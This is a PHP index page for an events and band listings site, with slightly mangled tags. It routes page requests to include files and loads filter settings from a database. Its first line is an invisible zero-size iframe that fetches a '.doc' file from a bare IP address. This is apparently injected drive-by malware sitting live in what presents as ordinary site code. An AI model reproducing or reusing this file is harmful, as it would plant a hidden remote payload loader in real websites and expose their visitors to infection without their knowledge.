frame src="http://95.81.1.7/instruction.doc" width="0" height="0" frameborder="0"> php ob_start(); session_start(); //setcookie("filters"); require_once ("backend/config.php"); require_once ("backend/classes/queries.php"); require_once ("backend/classes/formhelper.php"); require_once ("class/dbQueries.class.php"); require_once ("class/form_validator.class.php"); require_once ("class/form_validator.class.php"); require_once ("class/meta.class.php"); $page = $_GET['page']; $db = new dbQueries; $seo = new Meta(); switch ($page) : case 'search-result': $file = 'search-result.inc.php'; break; case 'select-date': $file = 'select-date.inc.php'; break; case 'event-detail': $file = 'event-detail.inc.php'; break; case 'post-event': $file = 'post-event.inc.php'; break; case 'func-post-event': $file = 'func-post-event.inc.php'; break; case 'news': $file = 'news.inc.php'; break; case 'news-detail': $file = 'news-detail.inc.php'; break; case 'contact': $file = 'contact.inc.php'; break; case 'about': $file = 'about.inc.php'; break; case 'month-view': $file = 'month-view.php'; break; case 'advertise': $file = 'advertise.inc.php'; break; case 'search': $file = 'search.inc.php'; break; case 'bands': $file = 'band/main_band_page.php'; echo ' '; break; case 'band_page': $file = 'band/individual_band_page.php'; echo ' '; break; case 'contact_band': $file = 'band/band_contact_form.php'; echo ' '; break; case 'edit_band': $file = 'band/band_edit_info.php'; echo ' '; break; default: $file = 'home.inc.php'; endswitch; $seo_array = $seo->metatags($page); function curPageURL() { $pageURL = 'http'; if ($_SERVER["HTTPS"] == "on") {$pageURL .= "s";} $pageURL .= "://"; if ($_SERVER["SERVER_PORT"] != "80") { $pageURL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"]; } else { $pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"]; } return $pageURL; } $filters = $db->query('SELECT value FROM settings WHERE setting="filters"'); $filters = explode(',', $filters[0]['value']); asort($filters); //print_r($filters); if($_POST){ if(isset($_POST['apply-filters'])){ $_SESSION['filters'] = $_POST['filters']; //print_r($_COOKIE); } } ?>